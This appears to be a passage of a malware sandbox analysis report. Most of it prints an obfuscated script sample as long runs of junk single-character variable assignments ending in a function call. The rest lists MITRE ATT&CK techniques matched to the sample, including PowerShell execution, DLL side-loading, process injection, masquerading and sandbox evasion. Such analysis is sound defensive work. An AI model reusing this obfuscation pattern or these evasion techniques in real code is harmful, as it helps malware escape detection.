438	isbpwqz = "k";
439	isbpwqz = "a";
440	isbpwqz = "i";
441	isbpwqz = "Z";
442	isbpwqz = "u";
443	isbpwqz = "F";
444	isbpwqz = "T";
445	isbpwqz = "b";
446	isbpwqz = "F";
447	isbpwqz = "C";
448	isbpwqz = "v";
449	isbpwqz = "i";
450	isbpwqz = "q";
451	tvjzfacka = "d";
452	tvjzfacka = "y";
453	tvjzfacka = "X";
454	tvjzfacka = "w";
455	tvjzfacka = "Y";
456	tvjzfacka = "J";
457	tvjzfacka = "w";
458	tvjzfacka = "K";
459	tvjzfacka = "q";
460	tvjzfacka = "o";
461	tvjzfacka = "Y";
462	tvjzfacka = "V";
463	tvjzfacka = "w";
464	tvjzfacka = "m";
465	tvjzfacka = "p";
466	tvjzfacka = "z";
467	tvjzfacka = "D";
468	tvjzfacka = "j";
469	tvjzfacka = "J";
470	tvjzfacka = "t";
471	tvjzfacka = "Y";
472	tvjzfacka = "D";
473	tvjzfacka = "t";
474	tvjzfacka = "o";
475	tvjzfacka = "t";
476	qhgvajbt = "e";
477	qhgvajbt = "f";
478	qhgvajbt = "L";
479	qhgvajbt = "S";
480	qhgvajbt = "d";
481	qhgvajbt = "n";
482	qhgvajbt = "b";
483	qhgvajbt = "C";
484	qhgvajbt = "U";
485	qhgvajbt = "L";
486	qhgvajbt = "a";
487	qhgvajbt = "U";
488	qhgvajbt = "B";
489	qhgvajbt = "M";
490	qhgvajbt = "X";
491	qhgvajbt = "H";
492	qhgvajbt = "d";
493	qhgvajbt = "w";
494	qhgvajbt = "S";
495	qhgvajbt = "G";
496	qhgvajbt = "s";
497	qhgvajbt = "a";
498	qhgvajbt = "o";
499	qhgvajbt = "U";
500	qhgvajbt = "z";
501	qhgvajbt = "h";
502	qhgvajbt = "4";
503	ptfijed = "X";
504	ptfijed = "F";
505	ptfijed = "/";
506	nudeehksw = "d";
507	nudeehksw = "z";
508	nudeehksw = "k";
509	nudeehksw = "y";
510	nudeehksw = "e";
511	nudeehksw = "V";
512	nudeehksw = "Z";
513	nudeehksw = "R";
514	nudeehksw = "J";
515	nudeehksw = "k";
516	nudeehksw = "n";
517	nudeehksw = "e";
518	nudeehksw = "q";
519	nudeehksw = "v";
520	nudeehksw = "u";
521	nudeehksw = "k";
522	nudeehksw = "6";
523	grejjz = "h";
524	grejjz = "h";
525	grejjz = "C";
526	grejjz = "w";
527	grejjz = "t";
528	grejjz = "b";
529	grejjz = "F";
530	grejjz = "J";
531	grejjz = "K";
532	grejjz = "C";
533	grejjz = "T";
534	grejjz = "b";
535	grejjz = "h";
536	grejjz = "N";
537	grejjz = "x";
538	grejjz = "j";
539	grejjz = "q";
540	grejjz = "U";
541	grejjz = "C";
542	grejjz = "q";
543	grejjz = "A";
544	grejjz = "U";
545	grejjz = "f";
546	grejjz = "g";
547	grejjz = "G";
548	grejjz = "v";
549	grejjz = "o";
550	grejjz = "\\";
551	ydmmxact = "S";
552	ydmmxact = "e";
553	ydmmxact = "l";
554	ydmmxact = "k";
555	ydmmxact = "C";
556	ydmmxact = "j";
557	ydmmxact = "h";
558	ydmmxact = "p";
559	ydmmxact = "w";
560	ydmmxact = "Y";
561	ydmmxact = "R";
562	ydmmxact = "k";
563	ydmmxact = "j";
564	ydmmxact = "K";
565	ydmmxact = "n";
566	ydmmxact = "R";
567	ydmmxact = "P";
568	ydmmxact = "J";
569	ydmmxact = "f";
570	ydmmxact = "c";
571	ydmmxact = "S";
572	ydmmxact = "T";
573	ydmmxact = "H";
574	ydmmxact = "K";
575	ydmmxact = "O";
576	ydmmxact = "-";
577	snesf = "Y";
578	snesf = "m";
579	snesf = "H";
580	snesf = "p";
581	snesf = "m";
582	snesf = "C";
583	snesf = "\"";
584	gbctiefo = "R";
585	gbctiefo = "j";
586	gbctiefo = "k";
587	gbctiefo = "q";
588	gbctiefo = "m";
589	gbctiefo = "O";
590	gbctiefo = "p";
591	gbctiefo = "k";
592	gbctiefo = "i";
593	gbctiefo = "x";
594	gbctiefo = "U";
595	gbctiefo = "v";
596	gbctiefo = "j";
597	gbctiefo = "K";
598	gbctiefo = "i";
599	gbctiefo = "K";
600	gbctiefo = "z";
601	gbctiefo = "R";
602	gbctiefo = "H";
603	gbctiefo = "P";
604	gbctiefo = "C";
605	gbctiefo = "m";
606	gbctiefo = "V";
607	gbctiefo = "i";
608	gbctiefo = "i";
609	gbctiefo = "i";
610	gbctiefo = "U";
611	gbctiefo = "G";
612	gbctiefo = "Z";
613	gbctiefo = "H";
614	gbctiefo = "d";
615	gbctiefo = "Z";
616	gbctiefo = "R";
617	gbctiefo = "k";
618	gbctiefo = "A";
619	gbctiefo = "j";
620	afducclkr = "S";
621	afducclkr = "J";
622	afducclkr = "n";
623	afducclkr = "g";
624	afducclkr = "k";
625	afducclkr = "L";
626	afducclkr = "j";
627	afducclkr = "N";
628	afducclkr = "l";
629	afducclkr = "y";
630	afducclkr = "s";
631	afducclkr = "r";
632	afducclkr = "u";
633	afducclkr = "z";
634	afducclkr = "i";
635	afducclkr = "E";
636	afducclkr = "f";
637	afducclkr = "b";
638	afducclkr = "d";
639	afducclkr = "Y";
640	afducclkr = "a";
641	afducclkr = "l";
642	afducclkr = "V";
643	afducclkr = "h";
644	afducclkr = "b";
645	afducclkr = "F";
646	afducclkr = "c";
647	afducclkr = "T";
648	afducclkr = "V";
649	afducclkr = "w";
650	afducclkr = "K";
651	afducclkr = "e";
652	afducclkr = "8";
653	ceceor = "Y";
654	ceceor = "t";
655	ceceor = "n";
656	ceceor = "S";
657	ceceor = "h";
658	ceceor = "G";
659	ceceor = "E";
660	ceceor = "N";
661	ceceor = "g";
662	ceceor = "c";
663	ceceor = "X";
664	ceceor = "z";
665	ceceor = "C";
666	ceceor = "A";
667	ceceor = "u";
668	ceceor = "v";
669	ceceor = "U";
670	ceceor = "Q";
671	ceceor = "Y";
672	ceceor = "g";
673	ceceor = "g";
674	ceceor = "x";
675	ceceor = "T";
676	ceceor = "f";
677	ceceor = "L";
678	ceceor = "t";
679	ceceor = "c";
680	ceceor = "A";
681	ceceor = "E";
682	ceceor = "v";
683	ceceor = "m";
684	ceceor = "i";
685	ceceor = "d";
686	ceceor = "v";
687	ceceor = "f";
688	jlzlqryst = "g";
689	jlzlqryst = "P";
690	jlzlqryst = "E";
691	jlzlqryst = "C";
692	jlzlqryst = "h";
693	jlzlqryst = "T";
694	jlzlqryst = "I";
695	jlzlqryst = "x";
696	jlzlqryst = "v";
697	jlzlqryst = "S";
698	jlzlqryst = "d";
699	jlzlqryst = "V";
700	jlzlqryst = "d";
701	jlzlqryst = "H";
702	jlzlqryst = "J";
703	jlzlqryst = "r";
704	jlzlqryst = "G";
705	jlzlqryst = "T";
706	defwpjpbw = "y";
707	defwpjpbw = "b";
708	defwpjpbw = "I";
709	defwpjpbw = "E";
710	defwpjpbw = "l";
711	defwpjpbw = "d";
712	defwpjpbw = "Z";
713	defwpjpbw = "F";
714	defwpjpbw = "q";
715	defwpjpbw = "b";
716	defwpjpbw = "a";
717	defwpjpbw = "B";
718	defwpjpbw = "j";
719	defwpjpbw = "t";
720	defwpjpbw = "H";
721	defwpjpbw = "u";
722	defwpjpbw = "C";
723	defwpjpbw = "Y";
724	defwpjpbw = "k";
725	defwpjpbw = "z";
726	defwpjpbw = "I";
727	defwpjpbw = "U";
728	defwpjpbw = "I";
729	defwpjpbw = "s";
730	defwpjpbw = "z";
731	defwpjpbw = "Q";
732	defwpjpbw = "c";
733	defwpjpbw = "H";
734	defwpjpbw = "Q";
735	defwpjpbw = "V";
736	defwpjpbw = "M";
737	defwpjpbw = "V";
738	defwpjpbw = "e";
739	pppkx = "d";
740	pppkx = "p";
741	pppkx = "f";
742	pppkx = "L";
743	pppkx = "T";
744	pppkx = "g";
745	pppkx = "y";
746	pppkx = "f";
747	pppkx = "x";
748	pppkx = "q";
749	pppkx = "y";
750	pppkx = "U";
751	pppkx = "z";
752	pppkx = "P";
753	pppkx = "d";
754	pppkx = "D";
755	pppkx = "H";
756	pppkx = "v";
757	pppkx = "g";
758	pppkx = "p";
759	pppkx = "b";
760	pppkx = "L";
761	pppkx = "I";
762	pppkx = "O";
763	pppkx = "n";
764	pppkx = "R";
765	pppkx = "l";
766	pppkx = "Q";
767	pppkx = "W";
768	pppkx = "n";
769	pppkx = "x";
770	pppkx = "d";
771	coymsk = "V";
772	coymsk = "O";
773	coymsk = "J";
774	coymsk = "r";
775	coymsk = "A";
776	coymsk = "J";
777	coymsk = "x";
778	coymsk = "a";
779	coymsk = "g";
780	coymsk = "z";
781	coymsk = "V";
782	coymsk = "B";
783	coymsk = "k";
784	qflbdd = "C";
785	qflbdd = "y";
786	qflbdd = "w";
787	qflbdd = "o";
788	qflbdd = "p";
789	qflbdd = "D";
790	qflbdd = "z";
791	qflbdd = "e";
792	qflbdd = "o";
793	qflbdd = "H";
794	qflbdd = "N";
795	qflbdd = "D";
796	qflbdd = "j";
797	qflbdd = "J";
798	qflbdd = "L";
799	qflbdd = "r";
800	qflbdd = "W";
801	qflbdd = "W";
802	qflbdd = "l";
803	qflbdd = "G";
804	qflbdd = "A";
805	qflbdd = "l";
806	qflbdd = "H";
807	qflbdd = "r";
808	qflbdd = "D";
809	qflbdd = "I";
810	qflbdd = "o";
811	qflbdd = "D";
812	qflbdd = "a";
813	qflbdd = "H";
814	qflbdd = "f";
815	qflbdd = "d";
816	qflbdd = "v";
817	qflbdd = "l";
818	qflbdd = "h";
819	qflbdd = "W";
820	qflbdd = "G";
821	qflbdd = "X";
822	qflbdd = "L";
823	qflbdd = "s";
824	qflbdd = "p";
825	qflbdd = "c";
826	qflbdd = "u";
827	qflbdd = "p";
828	zdbdrovz = "k";
829	zdbdrovz = "m";
830	zdbdrovz = "O";
831	zdbdrovz = "T";
832	zdbdrovz = "e";
833	zdbdrovz = "C";
834	zdbdrovz = "N";
835	zdbdrovz = "Y";
836	zdbdrovz = "A";
837	zdbdrovz = "f";
838	zdbdrovz = "D";
839	zdbdrovz = "i";
840	zdbdrovz = "p";
841	zdbdrovz = "@";
842	nnxjjg = "a";
843	nnxjjg = "w";
844	nnxjjg = "s";
845	nnxjjg = "v";
846	eenbmamlf = "H";
847	eenbmamlf = "U";
848	eenbmamlf = "Z";
849	eenbmamlf = "V";
850	eenbmamlf = "E";
851	eenbmamlf = "y";
852	eenbmamlf = "q";
853	eenbmamlf = "K";
854	eenbmamlf = "d";
855	eenbmamlf = "i";
856	eenbmamlf = "v";
857	eenbmamlf = "P";
858	eenbmamlf = "j";
859	eenbmamlf = "a";
860	eenbmamlf = "p";
861	eenbmamlf = "f";
862	eenbmamlf = "Y";
863	eenbmamlf = "u";
864	eenbmamlf = "P";
865	eenbmamlf = "K";
866	eenbmamlf = "k";
867	eenbmamlf = "k";
868	eenbmamlf = "m";
869	eenbmamlf = "D";
870	eenbmamlf = "w";
871	eenbmamlf = "A";
872	eenbmamlf = "y";
873	eenbmamlf = "e";
874	eenbmamlf = "q";
875	eenbmamlf = "h";
876	eenbmamlf = "u";
877	eenbmamlf = "b";
878	eenbmamlf = "G";
879	eenbmamlf = "a";
880	eenbmamlf = "O";
881	eenbmamlf = "H";
882	eenbmamlf = "F";
883	eenbmamlf = "l";
884	eenbmamlf = "l";
885	eenbmamlf = "E";
886	jhajelcmj = "n";
887	jhajelcmj = "R";
888	jhajelcmj = "U";
889	jhajelcmj = "T";
890	jhajelcmj = "T";
891	jhajelcmj = "A";
892	jhajelcmj = "q";
893	jhajelcmj = "X";
894	jhajelcmj = "s";
895	jhajelcmj = "G";
896	jhajelcmj = "X";
897	jhajelcmj = "J";
898	jhajelcmj = "f";
899	jhajelcmj = "x";
900	jhajelcmj = "h";
901	xomeghp = "J";
902	xomeghp = "v";
903	xomeghp = "R";
904	xomeghp = "U";
905	xomeghp = "E";
906	xomeghp = "K";
907	xomeghp = "b";
908	xomeghp = "I";
909	xomeghp = "D";
910	xomeghp = "b";
911	xomeghp = "g";
912	xomeghp = "f";
913	xomeghp = "B";
914	xomeghp = "v";
915	xomeghp = "l";
916	xomeghp = "f";
917	xomeghp = "Z";
918	xomeghp = "b";
919	xomeghp = "e";
920	xomeghp = "x";
921	xomeghp = "m";
922	xomeghp = "i";
923	xomeghp = "T";
924	xomeghp = "V";
925	xomeghp = "s";
926	xomeghp = "O";
927	xomeghp = "E";
928	xomeghp = "c";
929	xomeghp = "A";
930	xomeghp = "H";
931	xomeghp = "t";
932	xomeghp = "z";
933	xomeghp = "Y";
934	xomeghp = "D";
935	xomeghp = "b";
936	xomeghp = "C";
937	xomeghp = "w";
938	xomeghp = "r";
939	xomeghp = "P";
940	xomeghp = "e";
941	xomeghp = "S";
942	xomeghp = "P";
943	xomeghp = "w";
944	xomeghp = "v";
945	xomeghp = "i";
946	zphrgguw = "j";
947	zphrgguw = "J";
948	zphrgguw = "L";
949	zphrgguw = "P";
950	zphrgguw = "a";
951	zphrgguw = "9";
952	vtxgjczmv = "C";
953	vtxgjczmv = "R";
954	vtxgjczmv = "R";
955	vtxgjczmv = "M";
956	vtxgjczmv = "k";
957	vtxgjczmv = "C";
958	vtxgjczmv = "g";
959	vtxgjczmv = "l";
960	vtxgjczmv = "W";
961	vtxgjczmv = "G";
962	vtxgjczmv = "O";
963	vtxgjczmv = "u";
964	vtxgjczmv = "c";
965	vtxgjczmv = "Q";
966	vtxgjczmv = "i";
967	vtxgjczmv = "Y";
968	vtxgjczmv = "V";
969	vtxgjczmv = "x";
970	vtxgjczmv = "s";
971	vtxgjczmv = "j";
972	vtxgjczmv = "B";
973	vtxgjczmv = "t";
974	vtxgjczmv = "A";
975	vtxgjczmv = "g";
976	vtxgjczmv = "v";
977	vtxgjczmv = "G";
978	vtxgjczmv = "h";
979	vtxgjczmv = "B";
980	vtxgjczmv = "Z";
981	vtxgjczmv = "T";
982	vtxgjczmv = "i";
983	vtxgjczmv = "S";
984	vtxgjczmv = "S";
985	vtxgjczmv = "d";
986	vtxgjczmv = "v";
987	vtxgjczmv = "h";
988	vtxgjczmv = "r";
989	vtxgjczmv = "s";
990	vtxgjczmv = "F";
991	vtxgjczmv = "F";
992	vtxgjczmv = "p";
993	vtxgjczmv = "l";
994	vtxgjczmv = "D";
995	vtxgjczmv = "W";
996	hqnzlumu = "T";
997	hqnzlumu = "V";
998	hqnzlumu = "i";
999	hqnzlumu = "u";
1000	hqnzlumu = "i";
1001	hqnzlumu = "J";
1002	hqnzlumu = "i";
1003	hqnzlumu = "y";
1004	hqnzlumu = "f";
1005	hqnzlumu = "a";
1006	hqnzlumu = "u";
1007	hqnzlumu = "m";
1008	hqnzlumu = "o";
1009	hqnzlumu = "i";
1010	hqnzlumu = "E";
1011	hqnzlumu = "W";
1012	hqnzlumu = "a";
1013	hqnzlumu = "q";
1014	hqnzlumu = "u";
1015	hqnzlumu = "H";
1016	hqnzlumu = "l";
1017	hqnzlumu = "W";
1018	hqnzlumu = "T";
1019	hqnzlumu = "v";
1020	hqnzlumu = "Q";
1021	hqnzlumu = "y";
1022	hqnzlumu = "U";
1023	hqnzlumu = "w";
1024	hqnzlumu = "x";
1025	hqnzlumu = "s";
1026	hqnzlumu = "H";
1027	thcimidny = "q";
1028	thcimidny = "v";
1029	thcimidny = "C";
1030	thcimidny = "r";
1031	thcimidny = "I";
1032	thcimidny = "O";
1033	thcimidny = "e";
1034	thcimidny = "Y";
1035	thcimidny = "m";
1036	thcimidny = "E";
1037	thcimidny = "E";
1038	thcimidny = "Z";
1039	thcimidny = "M";
1040	thcimidny = "s";
1041	thcimidny = "r";
1042	thcimidny = "h";
1043	thcimidny = "I";
1044	thcimidny = "J";
1045	thcimidny = "H";
1046	thcimidny = "p";
1047	thcimidny = "P";
1048	thcimidny = "v";
1049	thcimidny = "g";
1050	thcimidny = "Z";
1051	thcimidny = "k";
1052	thcimidny = "Y";
1053	thcimidny = "G";
1054	thcimidny = "3";
1055	setkspu = "J";
1056	setkspu = "d";
1057	setkspu = "k";
1058	setkspu = "e";
1059	setkspu = "V";
1060	setkspu = "G";
1061	setkspu = "V";
1062	setkspu = "b";
1063	setkspu = "k";
1064	setkspu = "U";
1065	setkspu = "A";
1066	setkspu = "f";
1067	setkspu = "Y";
1068	setkspu = "s";
1069	setkspu = "i";
1070	setkspu = "z";
1071	setkspu = "U";
1072	setkspu = "y";
1073	setkspu = "b";
1074	setkspu = "J";
1075	setkspu = "u";
1076	gaxrd = "m";
1077	gaxrd = "y";
1078	gaxrd = "j";
1079	gaxrd = "f";
1080	gaxrd = "z";
1081	gaxrd = "o";
1082	gaxrd = "L";
1083	gaxrd = "W";
1084	gaxrd = "N";
1085	gaxrd = "E";
1086	gaxrd = "h";
1087	gaxrd = "f";
1088	gaxrd = "u";
1089	gaxrd = "u";
1090	gaxrd = "s";
1091	sbrppik = "D";
1092	sbrppik = "A";
1093	sbrppik = "P";
1094	sbrppik = "n";
1095	sbrppik = "N";
1096	sbrppik = "P";
1097	sbrppik = "B";
1098	sbrppik = "R";
1099	sbrppik = "a";
1100	sbrppik = "Z";
1101	sbrppik = "R";
1102	sbrppik = "m";
1103	sbrppik = "c";
1104	sbrppik = "B";
1105	sbrppik = "i";
1106	sbrppik = "i";
1107	sbrppik = "m";
1108	sbrppik = "s";
1109	sbrppik = "g";
1110	sbrppik = "W";
1111	sbrppik = "G";
1112	sbrppik = "f";
1113	sbrppik = "X";
1114	sbrppik = "h";
1115	sbrppik = "t";
1116	sbrppik = "g";
1117	sbrppik = "F";
1118	sbrppik = "y";
1119	sbrppik = "t";
1120	sbrppik = "C";
1121	hazlow = "h";
1122	hazlow = "0";
1123	nqjcydfm = "z";
1124	nqjcydfm = "a";
1125	nqjcydfm = "q";
1126	nqjcydfm = "A";
1127	nqjcydfm = "N";
1128	nqjcydfm = "E";
1129	nqjcydfm = "n";
1130	nqjcydfm = "F";
1131	nqjcydfm = "B";
1132	nqjcydfm = "g";
1133	nqjcydfm = "m";
1134	nqjcydfm = "v";
1135	nqjcydfm = "z";
1136	nqjcydfm = "V";
1137	nqjcydfm = "d";
1138	nqjcydfm = "Y";
1139	nqjcydfm = "F";
1140	nqjcydfm = "U";
1141	nqjcydfm = "E";
1142	nqjcydfm = "a";
1143	nqjcydfm = "D";
1144	nqjcydfm = "t";
1145	nqjcydfm = "Z";
1146	nqjcydfm = "C";
1147	nqjcydfm = "l";
1148	nqjcydfm = "B";
1149	nqjcydfm = "v";
1150	nqjcydfm = "R";
1151	nqjcydfm = "y";
1152	nqjcydfm = "H";
1153	nqjcydfm = "g";
1154	nqjcydfm = "f";
1155	nqjcydfm = "B";
1156	nqjcydfm = "m";
1157	nqjcydfm = "e";
1158	nqjcydfm = "d";
1159	nqjcydfm = "z";
1160	nqjcydfm = "t";
1161	nqjcydfm = "h";
1162	nqjcydfm = "v";
1163	nqjcydfm = "F";
1164	nqjcydfm = "I";
1165	nqjcydfm = "Q";
1166	nqjcydfm = "S";
1167	nqjcydfm = "2";
1168	grqyhdl = "O";
1169	grqyhdl = "u";
1170	grqyhdl = "l";
1171	grqyhdl = "h";
1172	grqyhdl = "Q";
1173	grqyhdl = "r";
1174	grqyhdl = "S";
1175	grqyhdl = "h";
1176	grqyhdl = "s";
1177	grqyhdl = "q";
1178	grqyhdl = "j";
1179	grqyhdl = "q";
1180	grqyhdl = "N";
1181	grqyhdl = "w";
1182	grqyhdl = "n";
1183	grqyhdl = "f";
1184	grqyhdl = "Z";
1185	grqyhdl = "K";
1186	grqyhdl = "y";
1187	grqyhdl = "T";
1188	grqyhdl = "L";
1189	grqyhdl = "f";
1190	grqyhdl = "b";
1191	grqyhdl = "C";
1192	grqyhdl = "x";
1193	grqyhdl = "Z";
1194	grqyhdl = "F";
1195	grqyhdl = "i";
1196	grqyhdl = "q";
1197	grqyhdl = "y";
1198	grqyhdl = "L";
1199	grqyhdl = "N";
1200	grqyhdl = "X";
1201	grqyhdl = "W";
1202	grqyhdl = "a";
1203	grqyhdl = "Z";
1204	grqyhdl = "h";
1205	grqyhdl = "Y";
1206	grqyhdl = "N";
1207	grqyhdl = "b";
1208	grqyhdl = "x";
1209	grqyhdl = "p";
1210	grqyhdl = "W";
1211	grqyhdl = "x";
1212	narvv = "V";
1213	narvv = "M";
1214	narvv = "I";
1215	narvv = "h";
1216	narvv = "K";
1217	narvv = "v";
1218	narvv = "c";
1219	narvv = "J";
1220	narvv = "k";
1221	narvv = "Z";
1222	narvv = "N";
1223	narvv = "i";
1224	narvv = "W";
1225	narvv = "v";
1226	narvv = "A";
1227	narvv = "j";
1228	narvv = "Q";
1229	narvv = "U";
1230	narvv = "I";
1231	narvv = "e";
1232	narvv = "a";
1233	narvv = "k";
1234	narvv = "S";
1235	narvv = "S";
1236	narvv = "r";
1237	narvv = "p";
1238	narvv = "W";
1239	narvv = "C";
1240	narvv = "j";
1241	narvv = "s";
1242	narvv = "I";
1243	narvv = "a";
1244	narvv = "s";
1245	narvv = "P";
1246	narvv = "G";
1247	narvv = "O";
1248	bduutjk = "G";
1249	bduutjk = "a";
1250	bduutjk = "T";
1251	bduutjk = "n";
1252	bduutjk = "I";
1253	bduutjk = "r";
1254	bduutjk = "m";
1255	bduutjk = "T";
1256	bduutjk = "x";
1257	bduutjk = "j";
1258	bduutjk = "I";
1259	bduutjk = "P";
1260	bduutjk = "E";
1261	bduutjk = "k";
1262	bduutjk = "D";
1263	bduutjk = "p";
1264	bduutjk = "N";
1265	bduutjk = "W";
1266	bduutjk = "E";
1267	bduutjk = "X";
1268	bduutjk = "X";
1269	bduutjk = "d";
1270	bduutjk = "L";
1271	bduutjk = "Z";
1272	bduutjk = "E";
1273	bduutjk = "b";
1274	bduutjk = "p";
1275	bduutjk = "O";
1276	bduutjk = "V";
1277	bduutjk = "N";
1278	bduutjk = "l";
1279	bduutjk = "u";
1280	bduutjk = "q";
1281	bduutjk = "A";
1282	bduutjk = "F";
1283	bduutjk = "R";
1284	fimhccs = "i";
1285	fimhccs = "p";
1286	fimhccs = "K";
1287	fimhccs = "G";
1288	fimhccs = "Q";
1289	fimhccs = "K";
1290	fimhccs = "w";
1291	fimhccs = "l";
1292	fimhccs = "o";
1293	fimhccs = "w";
1294	fimhccs = "d";
1295	fimhccs = "s";
1296	fimhccs = "P";
1297	kdenvme = "K";
1298	kdenvme = "c";
1299	kdenvme = "k";
1300	kdenvme = "x";
1301	kdenvme = "i";
1302	kdenvme = "U";
1303	stram = "z";
1304	stram = "j";
1305	stram = "G";
1306	stram = "X";
1307	stram = "N";
1308	stram = "R";
1309	stram = "R";
1310	stram = "A";
1311	stram = "z";
1312	stram = "T";
1313	stram = "P";
1314	stram = "F";
1315	stram = "F";
1316	stram = "J";
1317	stram = "w";
1318	stram = "D";
1319	stram = "T";
1320	stram = "N";
1321	stram = "o";
1322	stram = "G";
1323	stram = "a";
1324	stram = "j";
1325	stram = "5";
1326	dfvwun = "y";
1327	dfvwun = "q";
1328	dfvwun = "m";
1329	dfvwun = "L";
1330	dfvwun = "y";
1331	dfvwun = "V";
1332	dfvwun = "p";
1333	dfvwun = "R";
1334	dfvwun = "m";
1335	dfvwun = "z";
1336	dfvwun = "y";
1337	dfvwun = "J";
1338	dfvwun = "J";
1339	dfvwun = "Y";
1340	dfvwun = "d";
1341	dfvwun = "G";
1342	dfvwun = "P";
1343	dfvwun = "G";
1344	dfvwun = "b";
1345	dfvwun = "h";
1346	dfvwun = "o";
1347	dfvwun = "R";
1348	dfvwun = "i";
1349	dfvwun = "L";
1350	dfvwun = "a";
1351	dfvwun = "j";
1352	dfvwun = "I";
1353	dfvwun = "J";
1354	dfvwun = "R";
1355	dfvwun = "C";
1356	dfvwun = "K";
1357	dfvwun = "Y";
1358	dfvwun = "P";
1359	dfvwun = "x";
1360	dfvwun = ".";
1361	empdcw = "J";
1362	empdcw = "a";
1363	empdcw = "M";
1364	empdcw = "l";
1365	empdcw = "v";
1366	empdcw = "e";
1367	empdcw = "j";
1368	empdcw = "N";
1369	empdcw = "n";
1370	empdcw = "A";
1371	empdcw = "Q";
1372	empdcw = "N";
1373	empdcw = "C";
1374	empdcw = "i";
1375	empdcw = "V";
1376	empdcw = "e";
1377	empdcw = "t";
1378	empdcw = "b";
1379	empdcw = "p";
1380	empdcw = "N";
1381	ctfol = "u";
1382	ctfol = "X";
1383	ctfol = "n";
1384	ctfol = "d";
1385	ctfol = "S";
1386	ctfol = "m";
1387	ctfol = "E";
1388	ctfol = "V";
1389	ctfol = "y";
1390	ctfol = "t";
1391	ctfol = "b";
1392	ctfol = "w";
1393	ctfol = "U";
1394	ctfol = "b";
1395	ctfol = "t";
1396	ctfol = "F";
1397	agahrsg = "S";
1398	agahrsg = "g";
1399	agahrsg = "b";
1400	agahrsg = "v";
1401	agahrsg = "X";
1402	agahrsg = "l";
1403	agahrsg = "k";
1404	agahrsg = "K";
1405	agahrsg = "X";
1406	agahrsg = "Y";
1407	agahrsg = "b";
1408	agahrsg = "K";
1409	agahrsg = "U";
1410	agahrsg = " ";
1411	gekokpgqu = "m";
1412	gekokpgqu = "f";
1413	gekokpgqu = "O";
1414	gekokpgqu = "S";
1415	gekokpgqu = "r";
1416	gekokpgqu = "%";
1417	kcyik ( );	kcyik() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
